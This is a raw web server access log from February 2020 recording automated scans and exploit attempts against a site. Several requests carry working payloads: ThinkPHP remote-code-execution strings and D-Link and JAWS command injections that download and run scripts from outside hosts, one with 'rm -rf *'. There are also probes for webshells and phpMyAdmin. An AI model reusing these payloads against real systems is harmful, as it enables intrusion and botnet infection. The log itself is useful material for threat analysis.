178.91.65.32 - - [04/Feb/2020:03:40:30 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
42.119.132.51 - - [04/Feb/2020:03:40:55 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
81.201.63.40 - - [04/Feb/2020:03:42:19 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
24.148.8.88 - - [04/Feb/2020:03:44:58 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://zxcxffyttygbbgfgf12121bot.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Karu/2.0"
217.61.136.175 - - [04/Feb/2020:03:45:05 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
42.119.98.79 - - [04/Feb/2020:03:45:24 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
82.209.206.128 - - [04/Feb/2020:03:46:53 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
2.187.5.116 - - [04/Feb/2020:03:47:19 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
49.68.246.198 - - [04/Feb/2020:03:47:38 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://176.123.4.234/Dlinkrep.sh%20-O%20-%3E%20/tmp/kh;Dlinkrep.sh%20/tmp/kh%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0"
42.118.245.178 - - [04/Feb/2020:03:49:21 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
117.1.94.101 - - [04/Feb/2020:03:50:09 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
218.255.75.156 - - [04/Feb/2020:03:51:54 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0"
218.255.75.156 - - [04/Feb/2020:03:51:54 +0100] "GET /robots.txt HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0"
218.255.75.156 - - [04/Feb/2020:03:51:54 +0100] "POST /Admin59f65bd4/Login.php HTTP/1.1" 404 328 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0"
218.255.75.156 - - [04/Feb/2020:03:52:17 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Trident/4.0)"
218.255.75.156 - - [04/Feb/2020:03:52:17 +0100] "GET /l.php HTTP/1.1" 404 310 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Trident/4.0)"
218.255.75.156 - - [04/Feb/2020:03:52:17 +0100] "GET /phpinfo.php HTTP/1.1" 404 316 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Trident/4.0)"
218.255.75.156 - - [04/Feb/2020:03:52:17 +0100] "GET /test.php HTTP/1.1" 404 313 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Trident/4.0)"
218.255.75.156 - - [04/Feb/2020:03:52:18 +0100] "POST /index.php HTTP/1.1" 404 314 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Trident/4.0)"
218.255.75.156 - - [04/Feb/2020:03:52:45 +0100] "POST /forum.php HTTP/1.1" 404 314 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Trident/4.0)"
218.255.75.156 - - [04/Feb/2020:03:53:09 +0100] "POST /forums.php HTTP/1.1" 404 315 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Trident/4.0)"
218.255.75.156 - - [04/Feb/2020:03:53:33 +0100] "POST /bbs/index.php HTTP/1.1" 404 318 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Trident/4.0)"
218.255.75.156 - - [04/Feb/2020:03:53:57 +0100] "POST /forum/index.php HTTP/1.1" 404 320 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Trident/4.0)"
218.255.75.156 - - [04/Feb/2020:03:54:21 +0100] "POST /forums/index.php HTTP/1.1" 404 321 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Trident/4.0)"
183.80.89.246 - - [04/Feb/2020:03:54:23 +0100] "GET /shell?cd+/tmp;rm+-rf+*;wget+http://scan.casualaffinity.net/jaws;sh+/tmp/jaws HTTP/1.1" 404 306 "-" "Hello, world"
218.255.75.156 - - [04/Feb/2020:03:54:46 +0100] "GET /webdav/ HTTP/1.1" 404 312 "-" "Mozilla/5.0"
218.255.75.156 - - [04/Feb/2020:03:54:49 +0100] "GET /help.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36"
218.255.75.156 - - [04/Feb/2020:03:54:49 +0100] "GET /java.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36"
218.255.75.156 - - [04/Feb/2020:03:54:49 +0100] "GET /_query.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36"
218.255.75.156 - - [04/Feb/2020:03:54:49 +0100] "GET /test.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36"
218.255.75.156 - - [04/Feb/2020:03:54:50 +0100] "GET /db_cts.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36"
218.255.75.156 - - [04/Feb/2020:03:54:50 +0100] "GET /db_pma.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36"
218.255.75.156 - - [04/Feb/2020:03:54:50 +0100] "GET /logon.php HTTP/1.1" 404 314 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36"
218.255.75.156 - - [04/Feb/2020:03:54:51 +0100] "GET /help-e.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36"
218.255.75.156 - - [04/Feb/2020:03:54:51 +0100] "GET /license.php HTTP/1.1" 404 316 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36"
218.255.75.156 - - [04/Feb/2020:03:54:51 +0100] "GET /log.php HTTP/1.1" 404 312 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36"
218.255.75.156 - - [04/Feb/2020:03:54:52 +0100] "GET /hell.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36"
218.255.75.156 - - [04/Feb/2020:03:54:52 +0100] "GET /pmd_online.php HTTP/1.1" 404 319 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36"
218.255.75.156 - - [04/Feb/2020:03:54:52 +0100] "GET /x.php HTTP/1.1" 404 310 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36"
218.255.75.156 - - [04/Feb/2020:03:54:52 +0100] "GET /shell.php HTTP/1.1" 404 314 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36"
218.255.75.156 - - [04/Feb/2020:03:54:53 +0100] "GET /htdocs.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36"
218.255.75.156 - - [04/Feb/2020:03:54:53 +0100] "GET /b.php HTTP/1.1" 404 310 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36"
218.255.75.156 - - [04/Feb/2020:03:54:53 +0100] "GET /sane.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36"
218.255.75.156 - - [04/Feb/2020:03:54:53 +0100] "GET /desktop.ini.php HTTP/1.1" 404 320 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36"
218.255.75.156 - - [04/Feb/2020:03:54:53 +0100] "GET /z.php HTTP/1.1" 404 310 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36"
218.255.75.156 - - [04/Feb/2020:03:54:54 +0100] "GET /lala.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36"
218.255.75.156 - - [04/Feb/2020:03:54:54 +0100] "GET /lala-dpr.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36"
218.255.75.156 - - [04/Feb/2020:03:54:54 +0100] "GET /wpc.php HTTP/1.1" 404 312 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36"
218.255.75.156 - - [04/Feb/2020:03:54:54 +0100] "GET /wpo.php HTTP/1.1" 404 312 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36"
218.255.75.156 - - [04/Feb/2020:03:54:56 +0100] "GET /t6nv.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36"
218.255.75.156 - - [04/Feb/2020:03:54:56 +0100] "GET /muhstik.php HTTP/1.1" 404 316 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36"
218.255.75.156 - - [04/Feb/2020:03:54:57 +0100] "GET /text.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36"
218.255.75.156 - - [04/Feb/2020:03:54:57 +0100] "GET /wp-config.php HTTP/1.1" 404 318 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36"
218.255.75.156 - - [04/Feb/2020:03:54:57 +0100] "GET /muhstik.php HTTP/1.1" 404 316 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36"
218.255.75.156 - - [04/Feb/2020:03:54:57 +0100] "GET /muhstik2.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36"
218.255.75.156 - - [04/Feb/2020:03:54:57 +0100] "GET /muhstiks.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36"
218.255.75.156 - - [04/Feb/2020:03:54:58 +0100] "GET /muhstik-dpr.php HTTP/1.1" 404 320 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36"
218.255.75.156 - - [04/Feb/2020:03:54:58 +0100] "GET /lol.php HTTP/1.1" 404 312 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36"
218.255.75.156 - - [04/Feb/2020:03:54:58 +0100] "GET /uploader.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36"
218.255.75.156 - - [04/Feb/2020:03:54:58 +0100] "GET /cmd.php HTTP/1.1" 404 312 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36"
218.255.75.156 - - [04/Feb/2020:03:54:58 +0100] "GET /cmv.php HTTP/1.1" 404 312 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36"
218.255.75.156 - - [04/Feb/2020:03:54:59 +0100] "GET /cmdd.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36"
218.255.75.156 - - [04/Feb/2020:03:54:59 +0100] "GET /knal.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36"
218.255.75.156 - - [04/Feb/2020:03:54:59 +0100] "GET /cmd.php HTTP/1.1" 404 312 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36"
218.255.75.156 - - [04/Feb/2020:03:54:59 +0100] "GET /shell.php HTTP/1.1" 404 314 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36"
218.255.75.156 - - [04/Feb/2020:03:55:00 +0100] "GET /appserv.php HTTP/1.1" 404 316 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36"
218.255.75.156 - - [04/Feb/2020:03:55:00 +0100] "GET /scripts/setup.php HTTP/1.1" 404 322 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36"
218.255.75.156 - - [04/Feb/2020:03:55:00 +0100] "GET /phpmyadmin/scripts/setup.php HTTP/1.1" 404 333 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36"
218.255.75.156 - - [04/Feb/2020:03:55:01 +0100] "GET /phpMyAdmin/scripts/setup.php HTTP/1.1" 404 333 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36"
218.255.75.156 - - [04/Feb/2020:03:55:01 +0100] "GET /scripts/db___.init.php HTTP/1.1" 404 327 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36"
218.255.75.156 - - [04/Feb/2020:03:55:01 +0100] "GET /phpmyadmin/scripts/db___.init.php HTTP/1.1" 404 338 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36"
218.255.75.156 - - [04/Feb/2020:03:55:01 +0100] "GET /phpMyAdmin/scripts/db___.init.php HTTP/1.1" 404 338 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36"
218.255.75.156 - - [04/Feb/2020:03:55:01 +0100] "GET /pma/scripts/setup.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36"
218.255.75.156 - - [04/Feb/2020:03:55:02 +0100] "GET /PMA/scripts/setup.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36"
218.255.75.156 - - [04/Feb/2020:03:55:02 +0100] "GET /myadmin/scripts/setup.php HTTP/1.1" 404 330 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36"
218.255.75.156 - - [04/Feb/2020:03:55:02 +0100] "GET /MyAdmin/scripts/setup.php HTTP/1.1" 404 330 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36"
218.255.75.156 - - [04/Feb/2020:03:55:02 +0100] "GET /pma/scripts/db___.init.php HTTP/1.1" 404 331 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36"
218.255.75.156 - - [04/Feb/2020:03:55:02 +0100] "GET /PMA/scripts/db___.init.php HTTP/1.1" 404 331 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36"
218.255.75.156 - - [04/Feb/2020:03:55:03 +0100] "GET /myadmin/scripts/db___.init.php HTTP/1.1" 404 335 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36"
218.255.75.156 - - [04/Feb/2020:03:55:03 +0100] "GET /MyAdmin/scripts/db___.init.php HTTP/1.1" 404 335 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36"
218.255.75.156 - - [04/Feb/2020:03:55:03 +0100] "GET /plugins/weathermap/editor.php HTTP/1.1" 404 334 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36"
218.255.75.156 - - [04/Feb/2020:03:55:03 +0100] "GET /cacti/plugins/weathermap/editor.php HTTP/1.1" 404 340 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36"
218.255.75.156 - - [04/Feb/2020:03:55:03 +0100] "GET /weathermap/editor.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36"
218.255.75.156 - - [04/Feb/2020:03:55:04 +0100] "GET /index.php?s=%2f%69%6e%64%65%78%2f%5c%74%68%69%6e%6b%5c%61%70%70%2f%69%6e%76%6f%6b%65%66%75%6e%63%74%69%6f%6e&function=%63%61%6c%6c%5f%75%73%65%72%5f%66%75%6e%63%5f%61%72%72%61%79&vars[0]=%6d%645&vars[1][]=%48%65%6c%6c%6f%54%68%69%6e%6b%50%48%50 HTTP/1.1" 404 314 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36"
218.255.75.156 - - [04/Feb/2020:03:55:04 +0100] "GET /elrekt.php?s=%2f%69%6e%64%65%78%2f%5c%74%68%69%6e%6b%5c%61%70%70%2f%69%6e%76%6f%6b%65%66%75%6e%63%74%69%6f%6e&function=%63%61%6c%6c%5f%75%73%65%72%5f%66%75%6e%63%5f%61%72%72%61%79&vars[0]=%6d%645&vars[1][]=%48%65%6c%6c%6f%54%68%69%6e%6b%50%48%50 HTTP/1.1" 404 315 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36"
218.255.75.156 - - [04/Feb/2020:03:55:04 +0100] "GET /App/?content=die(md5(HelloThinkPHP)) HTTP/1.1" 404 309 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36"
218.255.75.156 - - [04/Feb/2020:03:55:04 +0100] "GET /index.php/module/action/param1/${@die(md5(HelloThinkPHP))} HTTP/1.1" 404 363 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36"
218.255.75.156 - - [04/Feb/2020:03:55:05 +0100] "GET /index.php?s=/module/action/param1/${@die(md5(HelloThinkPHP))} HTTP/1.1" 404 314 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36"
218.255.75.156 - - [04/Feb/2020:03:55:05 +0100] "GET /?a=fetch&content=<php>die(@md5(HelloThinkCMF))</php> HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36"
218.255.75.156 - - [04/Feb/2020:03:55:05 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36"
218.255.75.156 - - [04/Feb/2020:03:55:05 +0100] "GET /joomla/ HTTP/1.1" 404 312 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36"
218.255.75.156 - - [04/Feb/2020:03:55:05 +0100] "GET /Joomla/ HTTP/1.1" 404 312 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36"
218.255.75.156 - - [04/Feb/2020:03:55:06 +0100] "GET /?a=echo%20-n%20HelloNginx%7Cmd5sum HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36"
218.255.75.156 - - [04/Feb/2020:03:55:06 +0100] "GET /d7.php HTTP/1.1" 404 311 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36"
218.255.75.156 - - [04/Feb/2020:03:55:06 +0100] "GET /rxr.php HTTP/1.1" 404 312 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36"
218.255.75.156 - - [04/Feb/2020:03:55:06 +0100] "GET /1x.php HTTP/1.1" 404 311 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36"
218.255.75.156 - - [04/Feb/2020:03:55:06 +0100] "GET /home.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36"
218.255.75.156 - - [04/Feb/2020:03:55:07 +0100] "GET /undx.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36"
218.255.75.156 - - [04/Feb/2020:03:55:07 +0100] "GET /spider.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36"
218.255.75.156 - - [04/Feb/2020:03:55:07 +0100] "GET /payload.php HTTP/1.1" 404 316 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36"
218.255.75.156 - - [04/Feb/2020:03:55:07 +0100] "GET /composers.php HTTP/1.1" 404 318 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36"
218.255.75.156 - - [04/Feb/2020:03:55:07 +0100] "GET /izom.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36"
218.255.75.156 - - [04/Feb/2020:03:55:08 +0100] "GET /composer.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36"
218.255.75.156 - - [04/Feb/2020:03:55:08 +0100] "GET /hue2.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36"
218.255.75.156 - - [04/Feb/2020:03:55:08 +0100] "GET /Drupal.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36"
218.255.75.156 - - [04/Feb/2020:03:55:08 +0100] "GET /lang.php?f=1 HTTP/1.1" 404 313 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36"
218.255.75.156 - - [04/Feb/2020:03:55:09 +0100] "GET /izom.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36"
218.255.75.156 - - [04/Feb/2020:03:55:09 +0100] "GET /payload.php HTTP/1.1" 404 316 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36"
218.255.75.156 - - [04/Feb/2020:03:55:09 +0100] "GET /new_license.php HTTP/1.1" 404 320 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36"
218.255.75.156 - - [04/Feb/2020:03:55:09 +0100] "GET /images/!.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36"
218.255.75.156 - - [04/Feb/2020:03:55:09 +0100] "GET /images/vuln.php HTTP/1.1" 404 320 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36"
218.255.75.156 - - [04/Feb/2020:03:55:10 +0100] "GET /hd.php HTTP/1.1" 404 311 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36"
218.255.75.156 - - [04/Feb/2020:03:55:10 +0100] "GET /images/up.php HTTP/1.1" 404 318 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36"
